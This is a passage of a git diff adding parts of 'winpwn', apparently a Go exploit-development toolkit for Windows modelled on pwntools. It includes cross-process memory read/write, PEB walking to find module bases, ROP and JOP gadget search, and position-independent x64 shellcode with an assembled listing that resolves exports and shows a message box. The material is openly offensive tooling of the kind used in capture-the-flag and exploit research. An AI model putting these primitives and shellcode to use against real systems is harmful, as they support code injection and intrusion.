+// a Tube, the Go analogue of pwntools' process(). +func Spawn(target string) (*Tube, error) { + // Resolve to an absolute path, e.g. "bof_win.c.exe" -> "C:\...\bof_win.c.exe". + if absTarget, err := filepath.Abs(target); err == nil { + target = absTarget + } + + cmd := exec.Command(target) + + stdin, err := cmd.StdinPipe() + if err != nil { + return nil, fmt.Errorf("StdinPipe: %w", err) + } + + stdout, err := cmd.StdoutPipe() + if err != nil { + return nil, fmt.Errorf("StdoutPipe: %w", err) + } + + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("Start: %w", err) + } + + return newTube(cmd, nil, stdin, stdout), nil +} diff --git a/procmem_other.go b/procmem_other.go new file mode 100644 index 0000000..29a6197 --- /dev/null +++ b/procmem_other.go @@ -0,0 +1,27 @@ +//go:build !windows + +package winpwn + +import "errors" + +var errWindowsOnly = errors.New("requires GOOS=windows") + +func OpenPEFromProcess(pid uint32, base uintptr) (*PEFile, error) { + return nil, errWindowsOnly +} + +func ResolveModuleBase(pid uint32, moduleName string) (uintptr, error) { + return 0, errWindowsOnly +} + +func SpawnSuspended(target string) (tube *Tube, pid uint32, err error) { + return nil, 0, errWindowsOnly +} + +func ResumeMainThread(pid uint32) error { + return errWindowsOnly +} + +func ListProcessHeaps(pid uint32) ([]uint64, error) { + return nil, errWindowsOnly +} diff --git a/procmem_windows.go b/procmem_windows.go new file mode 100644 index 0000000..a3f0a2a --- /dev/null +++ b/procmem_windows.go @@ -0,0 +1,284 @@ +//go:build windows + +package winpwn + +import ( + "debug/pe" + "errors" + "fmt" + "io" + "os/exec" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +// ProcessMemory is an io.ReaderAt/io.WriterAt over a remote process's +// address space, anchored at a base address -- the live-memory analogue of +// reading bytes off disk. Offset 0 in ReadAt/WriteAt means "Base itself", +// matching how a memory-backed PEFile's RVAToFileOffset treats RVAs as +// identical to read offsets: that's exactly what an RVA means once an +// image is actually loaded. +type ProcessMemory struct { + Handle windows.Handle + Base uintptr +} + +// OpenProcessMemory opens pid for VM read/write, anchored at base -- the +// building block behind OpenPEFromProcess, but also useful standalone for +// any arbitrary-read/write-shaped primitive once you have a target address +// (Phase 8's ARW interface is satisfied directly by *ProcessMemory). +func OpenProcessMemory(pid uint32, base uintptr) (*ProcessMemory, error) { + h, err := windows.OpenProcess( + windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, + false, pid) + if err != nil { + return nil, err + } + return &ProcessMemory{Handle: h, Base: base}, nil +} + +func (m *ProcessMemory) Close() error { + return windows.CloseHandle(m.Handle) +} + +func (m *ProcessMemory) ReadAt(p []byte, off int64) (int, error) { + if off < 0 { + return 0, errors.New("ProcessMemory.ReadAt: negative offset") + } + if len(p) == 0 { + return 0, nil + } + var n uintptr + err := windows.ReadProcessMemory(m.Handle, m.Base+uintptr(off), &p[0], uintptr(len(p)), &n) + if err != nil { + return int(n), err + } + if int(n) < len(p) { + return int(n), io.ErrUnexpectedEOF + } + return int(n), nil +} + +func (m *ProcessMemory) WriteAt(p []byte, off int64) (int, error) { + if off < 0 { + return 0, errors.New("ProcessMemory.WriteAt: negative offset") + } + if len(p) == 0 { + return 0, nil + } + var n uintptr + err := windows.WriteProcessMemory(m.Handle, m.Base+uintptr(off), &p[0], uintptr(len(p)), &n) + return int(n), err +} + +// OpenPEFromProcess opens the PE module loaded at base inside pid's address +// space, the live-process analogue of OpenPE. Every PEFile accessor +// (Checksec, ListExports/ListImports, the ROP gadget scanner, PatchBytes) +// works against it exactly as it does against a disk-backed PEFile -- the +// whole point of routing everything through PEFile.r/.w/.RVAToFileOffset. +// Find base with ResolveModuleBase, or read it straight from a leaked +// pointer once you have one. +func OpenPEFromProcess(pid uint32, base uintptr) (*PEFile, error) { + mem, err := OpenProcessMemory(pid, base) + if err != nil { + return nil, err + } + f, err := pe.NewFile(mem) + if err != nil { + mem.Close() + return nil, err + } + pf := &PEFile{File: f, r: mem, w: mem, closer: mem, live: true} + if h, herr := pf.header(); herr == nil { + pf.size = int64(h.sizeOfImage) + } + return pf, nil +} + +// ResolveModuleBase walks pid's PEB -> Ldr -> InMemoryOrderModuleList to +// find moduleName's load address (e.g. "kernel32.dll", "ntdll.dll", or the +// process's own main-module file name), matched against the loader's +// FullDllName case-insensitively by base name. +// +// This is the live, cross-process twin of +// shellcode/asm/resolver.inc's get_kernel32_base: that NASM walks the exact +// same PEB/Ldr chain from *inside* the target process at IP-control time +// with no Windows API calls available; this does it from *outside*, with a +// debugger/exploit-tooling process's full WinAPI access, which is why it +// can resolve any module by name instead of relying on a fixed loader +// order. It's the real Windows analogue of how pwntools' DynELF defeats +// ASLR by walking ELF structures through a leak oracle -- here the "oracle" +// is ReadProcessMemory itself. +func ResolveModuleBase(pid uint32, moduleName string) (uintptr, error) { + h, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, false, pid) + if err != nil { + return 0, err + } + defer windows.CloseHandle(h) + + var pbi windows.PROCESS_BASIC_INFORMATION + var retLen uint32 + if err := windows.NtQueryInformationProcess(h, windows.ProcessBasicInformation, + unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), &retLen); err != nil { + return 0, fmt.Errorf("NtQueryInformationProcess(ProcessBasicInformation): %w", err) + } + pebAddr := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + if pebAddr == 0 { + return 0, errors.New("PEB address is null") + } + + peb, err := readRemoteStruct[windows.PEB](h, pebAddr) + if err != nil { + return 0, fmt.Errorf("read PEB: %w", err) + } + ldrAddr := uintptr(unsafe.Pointer(peb.Ldr)) + if ldrAddr == 0 { + return 0, errors.New("PEB.Ldr is null -- ntdll's loader (LdrInitializeThunk) hasn't run in this process yet; " + + "this is normal for a CREATE_SUSPENDED process before it's resumed, retry shortly after ResumeMainThread") + } + + ldr, err := readRemoteStruct[windows.PEB_LDR_DATA](h, ldrAddr) + if err != nil { + return 0, fmt.Errorf("read PEB_LDR_DATA: %w", err) + } + + // Flink/Blink point at the InMemoryOrderLinks *field* of each entry, not + // at the start of its LDR_DATA_TABLE_ENTRY -- the field sits at a + // nonzero offset (0x10 on x64: it's the second of three LIST_ENTRYs at + // the head of the real struct), so every address read off the list has + // to be corrected by that offset before it's used as an entry address. + entryLinksOffset := unsafe.Offsetof(windows.LDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks) + headAddr := ldrAddr + unsafe.Offsetof(windows.PEB_LDR_DATA{}.InMemoryOrderModuleList) + + cur := uintptr(unsafe.Pointer(ldr.InMemoryOrderModuleList.Flink)) + for cur != 0 && cur != headAddr { + entryAddr := cur - entryLinksOffset + + entry, err := readRemoteStruct[windows.LDR_DATA_TABLE_ENTRY](h, entryAddr) + if err != nil { + return 0, fmt.Errorf("read LDR_DATA_TABLE_ENTRY: %w", err) + } + + if name, err := readRemoteUTF16(h, entry.FullDllName); err == nil { + if strings.EqualFold(moduleBaseName(name), moduleName) { + return entry.DllBase, nil + } + } + + cur = uintptr(unsafe.Pointer(entry.InMemoryOrderLinks.Flink)) + } + + return 0, fmt.Errorf("module %q not found in process %d's loaded module list", moduleName, pid) +} + +// readRemoteStruct copies sizeof(T) bytes from h's address space at addr +// into a T, by raw memcpy through ReadProcessMemory -- safe specifically +// because T's fields here are always fixed-width (uintptr/pointer-shaped) +// values being read as bit patterns, never dereferenced as if they were +// local pointers. +func readRemoteStruct[T any](h windows.Handle, addr uintptr) (T, error) { + var v T + size := int(unsafe.Sizeof(v)) + buf := make([]byte, size) + var n uintptr + if err := windows.ReadProcessMemory(h, addr, &buf[0], uintptr(size), &n); err != nil { + return v, err + } + if int(n) < size { + return v, io.ErrUnexpectedEOF + } + return *(*T)(unsafe.Pointer(&buf[0])), nil +} + +func readRemoteUTF16(h windows.Handle, s windows.NTUnicodeString) (string, error) { + if s.Buffer == nil || s.Length == 0 { + return "", errors.New("empty NTUnicodeString") + } + buf := make([]uint16, s.Length/2) + var n uintptr + if err := windows.ReadProcessMemory(h, uintptr(unsafe.Pointer(s.Buffer)), + (*byte)(unsafe.Pointer(&buf[0])), uintptr(s.Length), &n); err != nil { + return "", err + } + return windows.UTF16ToString(buf), nil +} + +func moduleBaseName(path string) string { + if idx := strings.LastIndexAny(path, `/\`); idx >= 0 { + path = path[idx+1:] + } + return path +} + +// SpawnSuspended launches target with CREATE_SUSPENDED, returning the Tube +// (stdin/stdout wired exactly like Spawn) and the new process's PID, with +// the main thread parked before it executes a single instruction. +// +// Verified by testing, worth recording because the obvious assumption is +// wrong: you can NOT resolve module bases via ResolveModuleBase while the +// thread is still suspended. CREATE_SUSPENDED only pins the thread before +// its start routine runs, and that start routine *is* +// ntdll!LdrInitializeThunk -- the loader code that populates +// PEB->Ldr->InMemoryOrderModuleList in the first place. Until it runs, +// PEB.Ldr reads back as null (confirmed empirically: see the smoke test in +// this package's history). What this primitive is actually for is pausing +// *before the loader and entry point run*, e.g. to let Phase 4's debugger +// attach and plant a breakpoint before any application/TLS-callback code +// executes. Call ResumeMainThread(pid), then poll ResolveModuleBase for a +// few milliseconds (the loader runs fast, but it isn't instant) once you +// actually need module bases. +func SpawnSuspended(target string) (tube *Tube, pid uint32, err error) { + if abs, aerr := filepath.Abs(target); aerr == nil { + target = abs + } + + cmd := exec.Command(target) + cmd.SysProcAttr = &syscall.SysProcAttr{CreationFlags: windows.CREATE_SUSPENDED} + + stdin, err := cmd.StdinPipe() + if err != nil { + return nil, 0, fmt.Errorf("StdinPipe: %w", err) + } + stdout, err := cmd.StdoutPipe() + if err != nil { + return nil, 0, fmt.Errorf("StdoutPipe: %w", err) + } + if err := cmd.Start(); err != nil { + return nil, 0, fmt.Errorf("Start: %w", err) + } + + return newTube(cmd, nil, stdin, stdout), uint32(cmd.Process.Pid), nil +} + +// ResumeMainThread resumes a process started with SpawnSuspended. A +// CREATE_SUSPENDED process has exactly one thread (its initial thread) +// until something resumes it, so finding "the" thread to resume is just +// finding the one thread Toolhelp reports for pid -- there's no race with +// the target spawning more threads first, because it hasn't run yet. +func ResumeMainThread(pid uint32) error { + snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPTHREAD, 0) + if err != nil { + return fmt.Errorf("CreateToolhelp32Snapshot: %w", err) + } + defer windows.CloseHandle(snap) + + var entry windows.ThreadEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + for err = windows.Thread32First(snap, &entry); err == nil; err = windows.Thread32Next(snap, &entry) { + if entry.OwnerProcessID != pid { + continue + } + th, err := windows.OpenThread(windows.THREAD_SUSPEND_RESUME, false, entry.ThreadID) + if err != nil { + return fmt.Errorf("OpenThread(%d): %w", entry.ThreadID, err) + } + _, err = windows.ResumeThread(th) + windows.CloseHandle(th) + return err + } + return fmt.Errorf("no thread found for process %d", pid) +} diff --git a/remote.go b/remote.go new file mode 100644 index 0000000..3f75650 --- /dev/null +++ b/remote.go @@ -0,0 +1,23 @@ +package winpwn + +import ( + "fmt" + "net" +) + +// Remote opens a TCP connection to a remote target as a Tube, the Go +// analogue of pwntools' remote(). +func Remote(host string, port string) (*Tube, error) { + address := host + ":" + port + + Info("Opening connection to %s", address) + + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("connect to %s: %w", address, err) + } + + Success("Connected to %s", address) + + return newTube(nil, conn, conn, conn), nil +} diff --git a/rop.go b/rop.go new file mode 100644 index 0000000..8f52f13 --- /dev/null +++ b/rop.go @@ -0,0 +1,80 @@ +package winpwn + +import ( + "bufio" + "bytes" + "fmt" + "os/exec" + "regexp" + "strconv" + "strings" +) + +// NewROPExternal is the explicit-tool-path variant of NewROP, for an rp-win +// build kept somewhere other than RP_WIN_EXE/defaultRPWinTool, or a +// different rp++ fork entirely (same output format). +func NewROPExternal(binaryPath string, toolPath string) (*ROP, error) { + return newROP(binaryPath, toolPath) +} + +func (r *ROP) findGadgetsExternal() error { + // -f: target file + // -r 5: max gadget length in instructions + // --unique: dedupe identical instruction sequences + // --allow-branches: also report gadgets terminated by an indirect + // jmp/call (register or memory operand) and jmp-$ self-loops, not just + // ret/ret-imm16 -- the JOP transit primitives needed when the target + // has no clean `pop reg ; ret` for a given register. + cmd := exec.Command(r.toolPath, "-f", r.binaryPath, "-r", "5", "--unique", "--allow-branches") + + var out, stderr bytes.Buffer + cmd.Stdout = &out + cmd.Stderr = &stderr + + if err := cmd.Run(); err != nil { + return fmt.Errorf("failed to run gadget finder %q: %w\n%s", r.toolPath, err, stderr.String()) + } + + // Регулярное выражение для парсинга вывода rp++ + // Пример строки: "0x140001234: pop rcx ; ret ; (1 found)" + re := regexp.MustCompile(`^(0x[0-9a-fA-F]+):\s*(.+?)\s*(?:;\s*\(\d+ found\))?$`) + + scanner := bufio.NewScanner(&out) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + + matches := re.FindStringSubmatch(line) + if len(matches) >= 3 { + addrStr := matches[1] + instructions := matches[2] + + // Конвертация hex-строки в uint64 + addr, err := strconv.ParseUint(strings.TrimPrefix(addrStr, "0x"), 16, 64) + if err == nil { + r.gadgets = append(r.gadgets, Gadget{ + Address: addr, + Instructions: instructions, + }) + } + } + } + + return nil +} + +// Search ищет гаджет по подстроке (например, "pop rcx ; ret") +func (r *ROP) Search(instr string) ([]Gadget, error) { + var results []Gadget + searchStr := strings.ToLower(instr) + + for _, g := range r.gadgets { + if strings.Contains(strings.ToLower(g.Instructions), searchStr) { + results = append(results, g) + } + } + + if len(results) == 0 { + return nil, fmt.Errorf("gadget '%s' not found", instr) + } + return results, nil +} diff --git a/sections.go b/sections.go new file mode 100644 index 0000000..f2310a7 --- /dev/null +++ b/sections.go @@ -0,0 +1,171 @@ +package winpwn + +import ( + "bytes" + "debug/pe" + "errors" + "io" + "math" +) + +// Section characteristic flags relevant to memory protection +// (IMAGE_SCN_MEM_*, see winnt.h). +const ( + imageSCNMemExecute = 0x20000000 + imageSCNMemRead = 0x40000000 + imageSCNMemWrite = 0x80000000 +) + +// Section wraps debug/pe.Section with the permission/entropy helpers a pwn +// workflow actually needs (find the RWX section, spot the packed one). +type Section struct { + *pe.Section + + // live is set when this Section belongs to a live-process-backed + // PEFile. debug/pe.Section.Data() always reads via PointerToRawData + // (the section's *file* offset), which is wrong once the image is + // loaded into memory -- SectionAlignment shifts things around relative + // to FileAlignment. When live is set, Data() reads VirtualSize bytes + // at VirtualAddress instead, through the same ReaderAt the rest of a + // live PEFile uses. + live io.ReaderAt +} + +func (s *Section) IsReadable() bool { return s.Characteristics&imageSCNMemRead != 0 } +func (s *Section) IsWritable() bool { return s.Characteristics&imageSCNMemWrite != 0 } +func (s *Section) IsExecutable() bool { return s.Characteristics&imageSCNMemExecute != 0 } +func (s *Section) IsRWX() bool { return s.IsReadable() && s.IsWritable() && s.IsExecutable() } + +// Data returns the section's raw bytes. Overrides (shadows) +// debug/pe.Section.Data: see the live field's doc comment for why a +// live-process-backed section needs a different read path. +func (s *Section) Data() ([]byte, error) { + if s.live == nil { + return s.Section.Data() + } + buf := make([]byte, s.VirtualSize) + if _, err := s.live.ReadAt(buf, int64(s.VirtualAddress)); err != nil { + return nil, err + } + return buf, nil +} + +// Entropy returns the Shannon entropy (0..8 bits/byte) of the section's raw +// data, the standard quick signal for "this is packed/encrypted" (UPX-style +// sections commonly read >7.2). +func (s *Section) Entropy() (float64, error) { + data, err := s.Data() + if err != nil { + return 0, err + } + return ShannonEntropy(data), nil +} + +// ShannonEntropy computes the byte-level Shannon entropy of data, in bits +// per byte (0 = uniform/empty, 8 = maximally random). +func ShannonEntropy(data []byte) float64 { + if len(data) == 0 { + return 0 + } + var counts [256]int + for _, b := range data { + counts[b]++ + } + entropy := 0.0 + total := float64(len(data)) + for _, c := range counts { + if c == 0 { + continue + } + freq := float64(c) / total + entropy -= freq * math.Log2(freq) + } + return entropy +} + +// Sections returns every section wrapped with the permission/entropy helpers. +func (p *PEFile) Sections() []*Section { + out := make([]*Section, len(p.File.Sections)) + for i, sec := range p.File.Sections { + out[i] = p.wrapSection(sec) + } + return out +} + +// Section looks up a single section by name (e.g. ".text"). +func (p *PEFile) Section(name string) (*Section, error) { + for _, sec := range p.File.Sections { + if sec.Name == name { + return p.wrapSection(sec), nil + } + } + return nil, errors.New("section not found: " + name) +} + +func (p *PEFile) wrapSection(sec *pe.Section) *Section { + s := &Section{Section: sec} + if p.live { + s.live = p.r + } + return s +} + +// LikelyPackedSections returns sections whose entropy exceeds threshold +// (0 selects the common UPX-style default of 7.2 bits/byte), the quick +// "is this binary packed" check pwntools has no direct analogue for since +// ELF packers are rarer in CTF practice than UPX-on-Windows. +func (p *PEFile) LikelyPackedSections(threshold float64) ([]*Section, error) { + if threshold <= 0 { + threshold = 7.2 + } + var hits []*Section + for _, sec := range p.Sections() { + if sec.Size == 0 { + continue + } + entropy, err := sec.Entropy() + if err != nil { + continue + } + if entropy >= threshold { + hits = append(hits, sec) + } + } + return hits, nil +} + +// SearchBytes ищет последовательность байт во всех секциях PE-файла +// Возвращает массив RVA (Relative Virtual Address) всех совпадений +func (p *PEFile) SearchBytes(pattern []byte) ([]uint64, error) { + var results []uint64 + + for _, sec := range p.Sections() { + // Читаем сырые данные секции (live-aware: see Section.Data) + data, err := sec.Data() + if err != nil { + continue // Если секция пустая (например .bss), пропускаем + } + + offset := 0 + for { + // Ищем паттерн в оставшейся части данных + idx := bytes.Index(data[offset:], pattern) + if idx == -1 { + break + } + + // Вычисляем RVA: виртуальный адрес секции + смещение внутри секции + rva := sec.VirtualAddress + uint32(offset+idx) + results = append(results, uint64(rva)) + + // Сдвигаем offset, чтобы продолжить поиск после текущего совпадения + offset += idx + 1 + } + } + + if len(results) == 0 { + return nil, errors.New("pattern not found in PE file") + } + + return results, nil +} diff --git a/shellcode/asm/messagebox_x64.asm b/shellcode/asm/messagebox_x64.asm new file mode 100644 index 0000000..adf3596 --- /dev/null +++ b/shellcode/asm/messagebox_x64.asm @@ -0,0 +1,50 @@ +; messagebox_x64.asm — position-independent x64 shellcode: resolve +; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed +; loaded in a plain console process, unlike kernel32) and pop a real +; message box. Returns normally (ret) once the user dismisses it, so the +; host thread keeps running afterward. +; +; text_buf/caption_buf are fixed-size placeholders at the very end of the +; assembled blob; winpwn patches them at runtime with the actual +; NUL-terminated strings (see shellcraft.go). +BITS 64 +default rel + +start: + push rbp + push r12 + mov rbp, rsp + and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state + + call get_kernel32_base + mov rcx, rax + lea rdx, [rel name_user32] + lea r8, [rel name_messageboxa] + call resolve_export + mov r12, rax ; r12 = MessageBoxA address + + xor rcx, rcx ; hWnd = NULL + lea rdx, [rel text_buf] ; lpText + lea r8, [rel caption_buf] ; lpCaption + xor r9, r9 ; uType = MB_OK + sub rsp, 0x20 ; shadow space required before any WinAPI call + call r12 + add rsp, 0x20 + + mov rsp, rbp + pop r12 + pop rbp + ret + +%include "resolver.inc" + +name_user32: db "user32.dll", 0 +name_messageboxa: db "MessageBoxA", 0 + +align 8 +text_buf: + times 256 db 0 + +align 8 +caption_buf: + times 64 db 0 diff --git a/shellcode/asm/messagebox_x64.bin b/shellcode/asm/messagebox_x64.bin new file mode 100644 index 0000000..205c2da Binary files /dev/null and b/shellcode/asm/messagebox_x64.bin differ diff --git a/shellcode/asm/messagebox_x64.lst b/shellcode/asm/messagebox_x64.lst new file mode 100644 index 0000000..be218dc --- /dev/null +++ b/shellcode/asm/messagebox_x64.lst @@ -0,0 +1,218 @@ + 1 ; messagebox_x64.asm — position-independent x64 shellcode: resolve + 2 ; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed + 3 ; loaded in a plain console process, unlike kernel32) and pop a real + 4 ; message box. Returns normally (ret) once the user dismisses it, so the + 5 ; host thread keeps running afterward. + 6 ; + 7 ; text_buf/caption_buf are fixed-size placeholders at the very end of the + 8 ; assembled blob; winpwn patches them at runtime with the actual + 9 ; NUL-terminated strings (see shellcraft.go). + 10 BITS 64 + 11 default rel + 12 + 13 start: + 14 00000000 55 push rbp + 15 00000001 4154 push r12 + 16 00000003 4889E5 mov rbp, rsp + 17 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state + 18 + 19 0000000A E83F000000 call get_kernel32_base + 20 0000000F 4889C1 mov rcx, rax + 21 00000012 488D1551010000 lea rdx, [rel name_user32] + 22 00000019 4C8D0555010000 lea r8, [rel name_messageboxa] + 23 00000020 E8CE000000 call resolve_export + 24 00000025 4989C4 mov r12, rax ; r12 = MessageBoxA address + 25 + 26 00000028 4831C9 xor rcx, rcx ; hWnd = NULL + 27 0000002B 488D1556010000 lea rdx, [rel text_buf] ; lpText + 28 00000032 4C8D054F020000 lea r8, [rel caption_buf] ; lpCaption + 29 00000039 4D31C9 xor r9, r9 ; uType = MB_OK + 30 0000003C 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call + 31 00000040 41FFD4 call r12 + 32 00000043 4883C420 add rsp, 0x20 + 33 + 34 00000047 4889EC mov rsp, rbp + 35 0000004A 415C pop r12 + 36 0000004C 5D pop rbp + 37 0000004D C3 ret + 38 + 39 %include "resolver.inc" + 1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn + 2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded + 3 <1> ; addresses) and resolve any export by name (no hashing, just a linear + 4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of + 5 <1> ; one-shot resolutions). + 6 <1> ; + 7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish, + 8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every + 9 <1> ; non-volatile register they touch, so callers can keep values live in + 10 <1> ; r12-r15 across calls to either of these. + 11 <1> + 12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address + 13 <1> ; + 14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running + 15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this + 16 <1> ; fixed load order is the same trick essentially every public Windows x64 + 17 <1> ; shellcode relies on. + 18 <1> get_kernel32_base: + 19 0000004E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64) + 20 00000057 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr + 21 0000005B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks + 22 0000005F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll) + 23 00000062 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll) + 24 00000065 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks) + 25 00000069 C3 <1> ret + 26 <1> + 27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name) + 28 <1> ; -> RAX = absolute address of the export, or 0 if not found. + 29 <1> ; + 30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each + 31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and + 32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical + 33 <1> ; DataDirectory[0] (export table) offset for PE32+. + 34 <1> find_export: + 35 0000006A 4154 <1> push r12 + 36 0000006C 4155 <1> push r13 + 37 0000006E 4156 <1> push r14 + 38 00000070 4157 <1> push r15 + 39 00000072 56 <1> push rsi + 40 00000073 57 <1> push rdi + 41 00000074 53 <1> push rbx + 42 <1> + 43 00000075 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine) + 44 00000078 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved) + 45 <1> + 46 0000007B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew + 47 00000080 4C01E0 <1> add rax, r12 ; rax = NT header VA + 48 00000083 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress) + 49 00000089 4C01E0 <1> add rax, r12 + 50 0000008C 4989C6 <1> mov r14, rax ; r14 = export directory VA + 51 <1> + 52 0000008F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames + 53 00000093 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA + 54 00000097 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings) + 55 0000009A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA + 56 0000009E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals) + 57 000000A1 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA + 58 000000A5 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code) + 59 <1> + 60 000000A8 4D31FF <1> xor r15, r15 ; r15 = loop index i + 61 <1> + 62 <1> .loop: + 63 000000AB 4939DF <1> cmp r15, rbx + 64 000000AE 7D34 <1> jge .notfound + 65 <1> + 66 000000B0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i + 67 000000B4 4C01E0 <1> add rax, r12 + 68 000000B7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA + 69 000000BA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt) + 70 <1> + 71 <1> .cmp_loop: + 72 000000BD 8A06 <1> mov al, [rsi] + 73 000000BF 8A0F <1> mov cl, [rdi] + 74 000000C1 38C8 <1> cmp al, cl + 75 000000C3 750C <1> jne .next + 76 000000C5 84C0 <1> test al, al + 77 000000C7 740D <1> je .found ; both hit NUL with every byte equal -> match + 78 000000C9 48FFC6 <1> inc rsi + 79 000000CC 48FFC7 <1> inc rdi + 80 000000CF EBEC <1> jmp .cmp_loop + 81 <1> + 82 <1> .next: + 83 000000D1 49FFC7 <1> inc r15 + 84 000000D4 EBD5 <1> jmp .loop + 85 <1> + 86 <1> .found: + 87 000000D6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i + 88 000000DB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA + 89 000000DF 4C01E0 <1> add rax, r12 ; absolute address + 90 000000E2 EB03 <1> jmp .done + 91 <1> + 92 <1> .notfound: + 93 000000E4 4831C0 <1> xor rax, rax + 94 <1> + 95 <1> .done: + 96 000000E7 5B <1> pop rbx + 97 000000E8 5F <1> pop rdi + 98 000000E9 5E <1> pop rsi + 99 000000EA 415F <1> pop r15 + 100 000000EC 415E <1> pop r14 + 101 000000EE 415D <1> pop r13 + 102 000000F0 415C <1> pop r12 + 103 000000F2 C3 <1> ret + 104 <1> + 105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr) + 106 <1> ; -> RAX = absolute address of the export, or 0 on any failure. + 107 <1> ; + 108 <1> ; find_export alone only works if the target module is *already* loaded + 109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll + 110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export + 111 <1> ; (the function is assumed already loaded at the module base in RCX). + 112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32 + 113 <1> ; (itself just another find_export call) and called to load-or-fetch the + 114 <1> ; named module, then find_export resolves R8 inside *that* module's base. + 115 <1> resolve_export: + 116 000000F3 4154 <1> push r12 ; kernel32 base + 117 000000F5 4155 <1> push r13 ; dll name ptr (or 0) + 118 000000F7 4156 <1> push r14 ; func name ptr + 119 000000F9 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start + 120 000000FA 4889E5 <1> mov rbp, rsp + 121 000000FD 4883E4F0 <1> and rsp, ~0xF + 122 <1> + 123 00000101 4989CC <1> mov r12, rcx + 124 00000104 4989D5 <1> mov r13, rdx + 125 00000107 4D89C6 <1> mov r14, r8 + 126 <1> + 127 0000010A 4D85ED <1> test r13, r13 + 128 0000010D 750D <1> jnz .need_loadlibrary + 129 <1> + 130 0000010F 4C89E1 <1> mov rcx, r12 + 131 00000112 4C89F2 <1> mov rdx, r14 + 132 00000115 E850FFFFFF <1> call find_export + 133 0000011A EB36 <1> jmp .resolve_done + 134 <1> + 135 <1> .need_loadlibrary: + 136 0000011C 4C89E1 <1> mov rcx, r12 + 137 0000011F 488D1537000000 <1> lea rdx, [rel name_loadlibrarya] + 138 00000126 E83FFFFFFF <1> call find_export + 139 0000012B 4885C0 <1> test rax, rax + 140 0000012E 741F <1> jz .resolve_fail + 141 <1> + 142 00000130 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName) + 143 00000133 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call + 144 00000137 FFD0 <1> call rax + 145 00000139 4883C420 <1> add rsp, 0x20 + 146 0000013D 4885C0 <1> test rax, rax + 147 00000140 740D <1> jz .resolve_fail + 148 <1> + 149 00000142 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base + 150 00000145 4C89F2 <1> mov rdx, r14 + 151 00000148 E81DFFFFFF <1> call find_export + 152 0000014D EB03 <1> jmp .resolve_done + 153 <1> + 154 <1> .resolve_fail: + 155 0000014F 4831C0 <1> xor rax, rax + 156 <1> + 157 <1> .resolve_done: + 158 00000152 4889EC <1> mov rsp, rbp + 159 00000155 5D <1> pop rbp + 160 00000156 415E <1> pop r14 + 161 00000158 415D <1> pop r13 + 162 0000015A 415C <1> pop r12 + 163 0000015C C3 <1> ret + 164 <1> + 165 0000015D 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0 + 165 